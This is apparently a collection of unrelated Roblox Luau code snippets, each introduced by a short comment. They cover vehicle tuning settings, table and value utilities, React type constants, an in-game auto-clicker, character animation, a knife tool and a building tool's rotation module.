ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.P ,
--Handbrake
PBrake = Enum.KeyCode.LeftShift ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
-- Gradually regenerates the Humanoid's Health over time.
|
local REGEN_RATE = 1/300 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 5 -- Wait this long between each regeneration step.
|
--[=[
@private
@class Utils
]=]
|
local Utils = {}
local function errorOnIndex(_, index)
error(("Bad index %q"):format(tostring(index)), 2)
end
local READ_ONLY_METATABLE = {
__index = errorOnIndex;
__newindex = errorOnIndex;
}
function Utils.readonly(_table)
return setmetatable(_table, READ_ONLY_METATABLE)
end
function Utils.count(_table)
local count = 0
for _, _ in pairs(_table) do
count = count + 1
end
return count
end
function Utils.getOrCreateValue(parent, instanceType, name, defaultValue)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
local foundChild = parent:FindFirstChild(name)
if foundChild then
if not foundChild:IsA(instanceType) then
warn(("[Utils.getOrCreateValue] - Value of type %q of name %q is of type %q in %s instead")
:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
end
return foundChild
else
local newChild = Instance.new(instanceType)
newChild.Name = name
newChild.Value = defaultValue
newChild.Parent = parent
return newChild
end
end
function Utils.getValue(parent, instanceType, name, default)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
local foundChild = parent:FindFirstChild(name)
if foundChild then
if foundChild:IsA(instanceType) then
return foundChild.Value
else
warn(("[Utils.getValue] - Value of type %q of name %q is of type %q in %s instead")
:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
return nil
end
else
return default
end
end
function Utils.setValue(parent, instanceType, name, value)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
local foundChild = parent:FindFirstChild(name)
if foundChild then
if not foundChild:IsA(instanceType) then
warn(("[Utils.setValue] - Value of type %q of name %q is of type %q in %s instead")
:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
end
foundChild.Value = value
else
local newChild = Instance.new(instanceType)
newChild.Name = name
newChild.Value = value
newChild.Parent = parent
end
end
function Utils.getOrCreateFolder(parent, folderName)
local found = parent:FindFirstChild(folderName)
if found then
return found
else
local folder = Instance.new("Folder")
folder.Name = folderName
folder.Parent = parent
return folder
end
end
return Utils
|
-- The Symbol used to tag the ReactElement-like types. If there is no native Symbol
-- nor polyfill, then a plain number is used for performance.
|
exports.REACT_ELEMENT_TYPE = 0xeac7
exports.REACT_PORTAL_TYPE = 0xeaca
exports.REACT_FRAGMENT_TYPE = 0xeacb
exports.REACT_STRICT_MODE_TYPE = 0xeacc
exports.REACT_PROFILER_TYPE = 0xead2
exports.REACT_PROVIDER_TYPE = 0xeacd
exports.REACT_CONTEXT_TYPE = 0xeace
exports.REACT_FORWARD_REF_TYPE = 0xead0
exports.REACT_SUSPENSE_TYPE = 0xead1
exports.REACT_SUSPENSE_LIST_TYPE = 0xead8
exports.REACT_MEMO_TYPE = 0xead3
exports.REACT_LAZY_TYPE = 0xead4
exports.REACT_BLOCK_TYPE = 0xead9
exports.REACT_SERVER_BLOCK_TYPE = 0xeada
exports.REACT_FUNDAMENTAL_TYPE = 0xead5
exports.REACT_SCOPE_TYPE = 0xead7
exports.REACT_OPAQUE_ID_TYPE = 0xeae0
exports.REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1
exports.REACT_OFFSCREEN_TYPE = 0xeae2
exports.REACT_LEGACY_HIDDEN_TYPE = 0xeae3
exports.REACT_BINDING_TYPE = 0xeae4
|
--equip tools
|
if pickUpTools then
for _,v in pairs(GetSpecificInstances(AI,"Part")) do
v.Touched:connect(function(part)
if part.Name=="Handle" and part.Parent:IsA("Tool") then
if (#GetSpecificInstances(part.Parent.Parent,"Humanoid")==0 or part.Parent.Parent==workspace) and #GetSpecificInstances(AI,"Tool")==0 then
part.Parent.Parent=AI;
end end
end
);
end
end
|
--[=[
@within TableUtil
@function Map
@param tbl table
@param predicate (value: any, key: any, tbl: table) -> newValue: any
@return table
Performs a map operation against the given table, which can be used to
map new values based on the old values at given keys/indices.
For example:
```lua
local t = {A = 10, B = 20, C = 30}
local t2 = TableUtil.Map(t, function(value)
return value * 2
end)
print(t2) --> {A = 20, B = 40, C = 60}
```
]=]
|
local function Map<T, M>(t: { T }, f: (T, number, { T }) -> M): { M }
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be a function")
local newT = table.create(#t)
for k, v in t do
newT[k] = f(v, k, t)
end
return newT
end
|
-- LIGHT SETTINGS
--[[
LIGHT TYPES:
- Halogen
- LED
]]
|
--
local Low_Beam_Brightness = 1.25
local High_Beam_Brightness = 1.15
local Fog_Light_Brightness = 0.7
local Rear_Light_Brightness = 1.5
local Brake_Light_Brightness = 1.5
local Reverse_Light_Brightness = 1
local Headlight_Type = "Halogen"
local Indicator_Type = "Halogen"
local Fog_Light_Type = "Halogen"
local Plate_Light_Type = "Halogen"
local Rear_Light_Type = "Halogen"
local Reverse_Light_Type = "Halogen"
local Running_Light_Location = "Custom DRL" -- Where your running lights will luminate. ("Low Beam / Indicators" and "Low Beam". LED DRLS or any DRL in a differnet position go in the Running model, change the string to "Custom DRL")
local CustomDRL_Type = "LED"
local Fade_Time = 0.35 -- How long it takes for the light to fully turn on. (works only with Halogen, default is 0.35 seconds)
local Indicator_Flash_Rate = 0.3 -- Rate of change between each indicator state. (in seconds)
local Popup_Hinge_Angle = -0.75 -- Changes the angle of your popup headlights. (only use if your car has popups)
|
--[[
WeaponEquipping
Description: This script allows for the management of the players inventory such as swaping weapon or switching to the grenade.
]]
| |
--[[Steering]]
|
Tune.SteerInner = 70 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 70 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .5 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .5 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
|
-- Remove this after you've become acquainted with EventSequencer
|
if RunService:IsStudio() then
-- Best practice is to configure this ahead of time and don't use this
-- This is for demo purposes so that it works out of the box
Players.PlayerAdded:Connect(function(player)
table.insert(playerIDs, player.UserId)
EventSequencer.setSeekingPermissions({
-- Replace this with non-production PlaceIds
placeIDs = {game.PlaceId},
groups = {
-- Replace this if you want certain groups allowed
-- The following is an example of one group permissions
{GroupID = 7384468, MinimumRankID = 5}
},
-- Replace this with known player IDs in a table
playerIDs = playerIDs
})
end)
local playersService = game:GetService("Players")
local playerAdded = function(player)
if not table.find(playerIDs, player.UserId) then
table.insert(playerIDs, player.UserId)
end
end
playersService.PlayerAdded:connect(playerAdded)
for _, player in ipairs(playersService:GetPlayers()) do
playerAdded(player)
end
EventSequencer.setSeekingPermissions({
-- Replace this with non production PlaceIds
placeIDs = {game.PlaceId},
groups = {
-- Replace this if you want certain groups allowed
-- The following is an example of one group permission
{GroupID = 7384468, MinimumRankID = 5}
},
-- Replace this with known player IDs in a table
playerIDs = playerIDs
})
end
|
-- Implements Javascript's `Array.prototype.filter` as defined below
-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter
|
return function<T, U>(t: Array<T>, callback: callbackFn<T> | callbackFnWithThisArg<T, U>, thisArg: U?): Array<T>
if _G.__DEV__ then
if typeof(t) ~= "table" then
error(string.format("Array.filter called on %s", typeof(t)))
end
if typeof(callback) ~= "function" then
error("callback is not a function")
end
end
local len = #t
local res = {}
local index = 1
if thisArg == nil then
for i = 1, len do
local kValue = t[i]
if kValue ~= nil then
if (callback :: callbackFn<T>)(kValue, i, t) then
res[index] = kValue
index += 1
end
end
end
else
for i = 1, len do
local kValue = t[i]
if kValue ~= nil then
if (callback :: callbackFnWithThisArg<T, U>)(thisArg, kValue, i, t) then
res[index] = kValue
index += 1
end
end
end
end
return res
end
|
-- KEY IS UP --
--UIS.InputEnded:Connect(function(Input, isTyping)
-- if isTyping then return end
| |
--game:GetService("UserInputService").InputBegan:Connect(function(input)
-- local c = 0
-- if input.KeyCode == Enum.KeyCode.One then
-- c = Start(1)
-- elseif input.KeyCode == Enum.KeyCode.Two then
-- c = Start(2)
-- elseif input.KeyCode == Enum.KeyCode.Three then
-- c = Start(3)
-- elseif input.KeyCode == Enum.KeyCode.Four then
-- c = Start(4)
-- elseif input.KeyCode == Enum.KeyCode.Five then
-- c = Start(5)
-- elseif input.KeyCode == Enum.KeyCode.Six then
-- c = Start(6)
-- elseif input.KeyCode == Enum.KeyCode.Seven then
-- c = Start(7)
-- elseif input.KeyCode == Enum.KeyCode.Eight then
-- c = Start(8)
-- elseif input.KeyCode == Enum.KeyCode.Nine then
-- c = Start(9)
-- elseif input.KeyCode == Enum.KeyCode.Zero then
-- c = Start(0)
-- end
--end)
|
while wait(.01) do
local b = 360/#nodes
c = script.Parent.HumanoidRootPart.Position
a=a+3
for i,n in pairs(nodes) do
local b = a + i*(360/#nodes)
x = math.cos(math.rad(b)+math.rad(a))
z = math.sin(math.rad(b)+math.rad(a))
n.BodyPosition.Position = (c+Vector3.new(x,0,z)*dist)+Vector3.new(0,math.sin(b*.05)*height,0)
n.CFrame = CFrame.new(n.Position,c)
end
end
|
--Funcion Del AutoClick
|
local plr = script.Parent.Parent.Parent
local lea = plr:WaitForChild("leaderstats")-- Nombre De La Carpeta De Su Sistema De Dinero
local gold = lea:WaitForChild("TimesClicked")-- Nombre De Su Sistema De Dinero
local coin = lea:WaitForChild("Coins")-- Nombre De Su Sistema De Dinero
local boost = plr:WaitForChild("CoinBoost")-- Nombre De Su Sistema De Dinero
local world = plr:WaitForChild("WorldBoost")-- Nombre De Su Sistema De Dinero
local autoclick = false
local autoclickDD = false
function GetAuto()
gold.Value = gold.Value +1 --Cambiar Por Cuanto Dinero Quieres Que Obtenga
coin.Value = coin.Value + 1 + 1*boost.Value*world.Value
end
script.Parent.AutoClick.MouseButton1Click:Connect(function()
if autoclick == false then
autoclick = true
script.Parent.AutoClick.Text = "ON"
else
autoclick = false
script.Parent.AutoClick.Text = "OFF"
end
end)
while wait()do
if autoclick == true then
if autoclickDD == false then
autoclickDD = true
GetAuto(1)-- Cambia El Tiempo De Espera Al Recargar
wait(.1)-- Tambien Cambia Para El Tiempo De Espera Al Recargar
autoclickDD = false
end
end
end
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 100 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FSusLength = 8 -- Suspension length (in studs)
Tune.FSusMaxExt = .4 -- Max Extension Travel (in studs)
Tune.FSusMaxComp = .4 -- Max Compression Travel (in studs)
Tune.FSusAngle = 50 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 100 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.RSusLength = 8 -- Suspension length (in studs)
Tune.RSusMaxExt = .4 -- Max Extension Travel (in studs)
Tune.RSusMaxComp = .4 -- Max Compression Travel (in studs)
Tune.RSusAngle = 50 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = true -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .5 -- Suspension Coil Thickness
Tune.SusColor = "Really black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 8 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .5 -- Wishbone Rod Thickness
|
--[[Transmission]]
|
Tune.TransModes = {"Auto"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.31 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Variables
|
local headHorFactor = 1
local headVerFactor = .6
local bodyHorFactor = .5
local bodyVerFactor = .4
local updateSpeed = .5 / 2
local plr = playerService.LocalPlayer
local cam = workspace.CurrentCamera
local mouse = plr:GetMouse()
local char = plr.Character or plr.CharacterAdded:wait()
local hum = char:WaitForChild("Humanoid")
local isR6 = hum.RigType == Enum.HumanoidRigType.R6
local head = char.Head
local root = char.HumanoidRootPart
local torso = isR6 and char.Torso or char.UpperTorso
local neck = isR6 and torso.Neck or head.Neck
local waist = not isR6 and torso.Waist
local neckC0 = neck.C0
local waistC0 = not isR6 and waist.C0
neck.MaxVelocity = 1/3
runService.RenderStepped:ConnectParallel(function()
-- Check if every required body part exists and whether the CurrentCamera's CameraSubject is the Humanoid
if torso and head and ((isR6 and neck) or (neck and waist)) and cam.CameraSubject == hum then
task.desynchronize()
local camCF = cam.CFrame
local headCF = head.CFrame
local torsoLV = torso.CFrame.lookVector
local dist = (headCF.p - camCF.p).magnitude
local diff = headCF.Y - camCF.Y
local asinDiffDist = math.asin(diff / dist)
task.synchronize()
local whateverThisDoes = ((headCF.p - camCF.p).Unit:Cross(torsoLV)).Y
if isR6 then
neck.C0 = neck.C0:lerp(neckC0 * CFrame.Angles(-1 * asinDiffDist * headVerFactor, 0, -1 * whateverThisDoes * headHorFactor), updateSpeed)
else
neck.C0 = neck.C0:lerp(neckC0 * CFrame.Angles(asinDiffDist * headVerFactor, -1 * whateverThisDoes * headHorFactor, 0), updateSpeed)
waist.C0 = waist.C0:lerp(waistC0 * CFrame.Angles(asinDiffDist * bodyVerFactor, -1 * whateverThisDoes * bodyHorFactor, 0), updateSpeed)
end
end
end)
|
-- Roact
|
local new = Roact.createElement
local ScopeHierarchyItemButton = require(script:WaitForChild 'ScopeHierarchyItemButton')
local HotkeyTooltip = require(script:WaitForChild 'HotkeyTooltip')
local ModeToggle = require(script:WaitForChild 'ModeToggle')
|
--7 print(length)
|
for i = 1,length do
local char = getChar(tonumber(string.sub(ns, i, i)))
serial = serial .. char
end
serial = serial .. getChar(serial_offset)
serial_offset += 1
return serial
end
function module:SetWait(t)
local start = os.clock()
repeat RunService.Heartbeat:Wait() until (os.clock() - start) > t
end
return module
|
-- Waits for the child of the specified parent
|
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
local Tool = script.Parent
local kn = WaitForChild(Tool, 'kn')
local Debounce = false
local TouchConnection
function OnTouched(hit)
local humanoid = hit.Parent:findFirstChild('Humanoid')
if Debounce == false then
Debounce = true
if humanoid then
kn.Splat:Play()
else
kn.Ting:Play()
end
end
wait(0.5)
Debounce = false
end
Tool.Equipped:connect(function()
TouchConnection = kn.Touched:connect(OnTouched)
end)
Tool.Unequipped:connect(function()
if TouchConnection then
TouchConnection:disconnect()
TouchConnection = nil
end
end)
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function RotateTool.Equip()
-- Enables the tool's equipped functionality
-- Set our current pivot mode
SetPivot(RotateTool.Pivot);
-- Start up our interface
ShowUI();
BindShortcutKeys();
end;
function RotateTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
HideHandles();
ClearConnections();
BoundingBox.ClearBoundingBox();
SnapTracking.StopTracking();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ClearConnection(ConnectionKey)
-- Clears the given specific connection
local Connection = Connections[ConnectionKey];
-- Disconnect the connection if it exists
if Connections[ConnectionKey] then
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if RotateTool.UI then
-- Reveal the UI
RotateTool.UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
RotateTool.UI = Core.Tool.Interfaces.BTRotateToolGUI:Clone();
RotateTool.UI.Parent = Core.UI;
RotateTool.UI.Visible = true;
-- Add functionality to the pivot option switch
local PivotSwitch = RotateTool.UI.PivotOption;
PivotSwitch.Center.Button.MouseButton1Down:Connect(function ()
SetPivot('Center');
end);
PivotSwitch.Local.Button.MouseButton1Down:Connect(function ()
SetPivot('Local');
end);
PivotSwitch.Last.Button.MouseButton1Down:Connect(function ()
SetPivot('Last');
end);
-- Add functionality to the increment input
local IncrementInput = RotateTool.UI.IncrementOption.Increment.TextBox;
IncrementInput.FocusLost:Connect(function (EnterPressed)
RotateTool.Increment = tonumber(IncrementInput.Text) or RotateTool.Increment;
IncrementInput.Text = Support.Round(RotateTool.Increment, 4);
end);
-- Add functionality to the rotation inputs
local XInput = RotateTool.UI.Info.RotationInfo.X.TextBox;
local YInput = RotateTool.UI.Info.RotationInfo.Y.TextBox;
local ZInput = RotateTool.UI.Info.RotationInfo.Z.TextBox;
XInput.FocusLost:Connect(function (EnterPressed)
local NewAngle = tonumber(XInput.Text);
if NewAngle then
SetAxisAngle('X', NewAngle);
end;
end);
YInput.FocusLost:Connect(function (EnterPressed)
local NewAngle = tonumber(YInput.Text);
if NewAngle then
SetAxisAngle('Y', NewAngle);
end;
end);
ZInput.FocusLost:Connect(function (EnterPressed)
local NewAngle = tonumber(ZInput.Text);
if NewAngle then
SetAxisAngle('Z', NewAngle);
end;
end);
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not RotateTool.UI then
return;
end;
-- Hide the UI
RotateTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not RotateTool.UI then
return;
end;
-- Only show and calculate selection info if it's not empty
if #Selection.Parts == 0 then
RotateTool.UI.Info.Visible = false;
RotateTool.UI.Size = UDim2.new(0, 245, 0, 90);
return;
else
RotateTool.UI.Info.Visible = true;
RotateTool.UI.Size = UDim2.new(0, 245, 0, 150);
end;
-----------------------------------------
-- Update the size information indicators
-----------------------------------------
-- Identify common angles across axes
local XVariations, YVariations, ZVariations = {}, {}, {};
for _, Part in pairs(Selection.Parts) do
table.insert(XVariations, Support.Round(Part.Orientation.X, 3));
table.insert(YVariations, Support.Round(Part.Orientation.Y, 3));
table.insert(ZVariations, Support.Round(Part.Orientation.Z, 3));
end;
local CommonX = Support.IdentifyCommonItem(XVariations);
local CommonY = Support.IdentifyCommonItem(YVariations);
local CommonZ = Support.IdentifyCommonItem(ZVariations);
-- Shortcuts to indicators
local XIndicator = RotateTool.UI.Info.RotationInfo.X.TextBox;
local YIndicator = RotateTool.UI.Info.RotationInfo.Y.TextBox;
local ZIndicator = RotateTool.UI.Info.RotationInfo.Z.TextBox;
-- Update each indicator if it's not currently being edited
if not XIndicator:IsFocused() then
XIndicator.Text = CommonX or '*';
end;
if not YIndicator:IsFocused() then
YIndicator.Text = CommonY or '*';
end;
if not ZIndicator:IsFocused() then
ZIndicator.Text = CommonZ or '*';
end;
end;
function SetPivot(PivotMode)
-- Sets the given rotation pivot mode
-- Update setting
RotateTool.Pivot = PivotMode;
-- Update the UI switch
if RotateTool.UI then
Core.ToggleSwitch(PivotMode, RotateTool.UI.PivotOption);
end;
-- Disable any unnecessary bounding boxes
BoundingBox.ClearBoundingBox();
-- For center mode, use bounding box handles
if PivotMode == 'Center' then
BoundingBox.StartBoundingBox(AttachHandles);
-- For local mode, use focused part handles
elseif PivotMode == 'Local' then
AttachHandles(Selection.Focus, true);
-- For last mode, use focused part handles
elseif PivotMode == 'Last' then
AttachHandles(CustomPivotPoint and (RotateTool.Handles and RotateTool.Handles.Adornee) or Selection.Focus, true);
end;
end;
function AttachHandles(Part, Autofocus)
-- Creates and attaches handles to `Part`, and optionally automatically attaches to the focused part
-- Enable autofocus if requested and not already on
if Autofocus and not Connections.AutofocusHandle then
Connections.AutofocusHandle = Selection.FocusChanged:Connect(function ()
AttachHandles(Selection.Focus, true);
end);
-- Disable autofocus if not requested and on
elseif not Autofocus and Connections.AutofocusHandle then
ClearConnection 'AutofocusHandle';
end;
-- Clear previous pivot point
CustomPivotPoint = nil
-- Just attach and show the handles if they already exist
if RotateTool.Handles then
RotateTool.Handles:BlacklistObstacle(BoundingBox.GetBoundingBox())
RotateTool.Handles:SetAdornee(Part)
return
end
local AreaPermissions
local function OnHandleDragStart()
-- Prepare for rotating parts when the handle is clicked
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Indicate rotating via handle
HandleRotating = true;
-- Freeze bounding box extents while rotating
if BoundingBox.GetBoundingBox() then
InitialExtentsSize, InitialExtentsCFrame = BoundingBox.CalculateExtents(Selection.Parts, BoundingBox.StaticExtents)
BoundingBox.PauseMonitoring();
end;
-- Stop parts from moving, and capture the initial state of the parts
InitialState = PreparePartsForRotating();
-- Track the change
TrackChange();
-- Cache area permissions information
if Core.Mode == 'Tool' then
AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
end;
-- Set the pivot point to the center of the selection if in Center mode
if RotateTool.Pivot == 'Center' then
PivotPoint = BoundingBox.GetBoundingBox().CFrame;
-- Set the pivot point to the center of the focused part if in Last mode
elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then
if Selection.Focus:IsA 'BasePart' then
PivotPoint = Selection.Focus.CFrame
elseif Selection.Focus:IsA 'Model' then
PivotPoint = Selection.Focus:GetModelCFrame()
end
end;
end
local function OnHandleDrag(Axis, Rotation)
-- Update parts when the handles are moved
-- Only rotate if handle is enabled
if not HandleRotating then
return;
end;
-- Turn the rotation amount into degrees
Rotation = math.deg(Rotation);
-- Calculate the increment-aligned rotation amount
Rotation = GetIncrementMultiple(Rotation, RotateTool.Increment) % 360;
-- Get displayable rotation delta
local DisplayedRotation = GetHandleDisplayDelta(Rotation);
-- Perform the rotation
RotatePartsAroundPivot(RotateTool.Pivot, PivotPoint, Axis, Rotation, InitialState);
-- Make sure we're not entering any unauthorized private areas
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialState) do
Part.CFrame = State.CFrame;
end;
-- Reset displayed rotation delta
DisplayedRotation = 0;
end;
-- Update the "degrees rotated" indicator
if RotateTool.UI then
RotateTool.UI.Changes.Text.Text = 'rotated ' .. DisplayedRotation .. ' degrees';
end;
end
local function OnHandleDragEnd()
if not HandleRotating then
return
end
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Disable rotating
HandleRotating = false;
-- Clear this connection to prevent it from firing again
ClearConnection 'HandleRelease';
-- Clear change indicator states
HandleDirection = nil;
HandleFirstAngle = nil;
LastDisplayedRotation = nil;
-- Make joints, restore original anchor and collision states
for Part, State in pairs(InitialState) do
Part:MakeJoints();
Core.RestoreJoints(State.Joints);
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
-- Resume normal bounding box updating
BoundingBox.RecalculateStaticExtents();
BoundingBox.ResumeMonitoring();
end
-- Create the handles
local ArcHandles = require(Libraries:WaitForChild 'ArcHandles')
RotateTool.Handles = ArcHandles.new({
Color = RotateTool.Color.Color,
Parent = Core.UIContainer,
Adornee = Part,
ObstacleBlacklist = { BoundingBox.GetBoundingBox() },
OnDragStart = OnHandleDragStart,
OnDrag = OnHandleDrag,
OnDragEnd = OnHandleDragEnd
})
end
function HideHandles()
-- Hides the resizing handles
-- Make sure handles exist and are visible
if not RotateTool.Handles then
return;
end;
-- Hide the handles
RotateTool.Handles = RotateTool.Handles:Destroy()
-- Disable handle autofocus if enabled
ClearConnection 'AutofocusHandle';
end;
function RotatePartsAroundPivot(PivotMode, PivotPoint, Axis, Rotation, InitialStates)
-- Rotates the given parts in `InitialStates` around `PivotMode` (using `PivotPoint` if applicable)'s `Axis` by `Rotation`
-- Create a CFrame that increments rotation by `Rotation` around `Axis`
local RotationCFrame = CFrame.fromAxisAngle(Vector3.FromAxis(Axis), math.rad(Rotation));
-- Rotate each part
for Part, InitialState in pairs(InitialStates) do
-- Rotate around the selection's center, or the currently focused part
if PivotMode == 'Center' or PivotMode == 'Last' then
-- Calculate the focused part's rotation
local RelativeTo = PivotPoint * RotationCFrame;
-- Calculate this part's offset from the focused part's rotation
local Offset = PivotPoint:toObjectSpace(InitialState.CFrame);
-- Rotate relative to the focused part by this part's offset from it
Part.CFrame = RelativeTo * Offset;
-- Rotate around the part's center
elseif RotateTool.Pivot == 'Local' then
Part.CFrame = InitialState.CFrame * RotationCFrame;
end;
end;
end;
function GetHandleDisplayDelta(HandleRotation)
-- Returns a human-friendly version of the handle's rotation delta
-- Prepare to capture first angle
if HandleFirstAngle == nil then
HandleFirstAngle = true;
HandleDirection = true;
-- Capture first angle
elseif HandleFirstAngle == true then
-- Determine direction based on first angle
if math.abs(HandleRotation) > 180 then
HandleDirection = false;
else
HandleDirection = true;
end;
-- Disable first angle capturing
HandleFirstAngle = false;
end;
-- Determine the rotation delta to display
local DisplayedRotation;
if HandleDirection == true then
DisplayedRotation = (360 - HandleRotation) % 360;
else
DisplayedRotation = HandleRotation % 360;
end;
-- Switch delta calculation direction if crossing directions
if LastDisplayedRotation and (
(LastDisplayedRotation <= 120 and DisplayedRotation >= 240) or
(LastDisplayedRotation >= 240 and DisplayedRotation <= 120)) then
HandleDirection = not HandleDirection;
end;
-- Update displayed rotation after direction correction
if HandleDirection == true then
DisplayedRotation = (360 - HandleRotation) % 360;
else
DisplayedRotation = HandleRotation % 360;
end;
-- Store this last display rotation
LastDisplayedRotation = DisplayedRotation;
-- Return updated display delta
return DisplayedRotation;
end;
function BindShortcutKeys()
-- Enables useful shortcut keys for this tool
-- Track user input while this tool is equipped
table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)
-- Make sure this is an intentional event
if GameProcessedEvent then
return;
end;
-- Make sure this input is a key press
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Check if the enter key was pressed
if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then
-- Toggle the current axis mode
if RotateTool.Pivot == 'Center' then
SetPivot('Local');
elseif RotateTool.Pivot == 'Local' then
SetPivot('Last');
elseif RotateTool.Pivot == 'Last' then
SetPivot('Center');
end;
-- Check if the - key was pressed
elseif InputInfo.KeyCode == Enum.KeyCode.Minus or InputInfo.KeyCode == Enum.KeyCode.KeypadMinus then
-- Focus on the increment input
if RotateTool.UI then
RotateTool.UI.IncrementOption.Increment.TextBox:CaptureFocus();
end;
-- Nudge around X axis if the 8 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then
NudgeSelectionByAxis(Enum.Axis.X, 1);
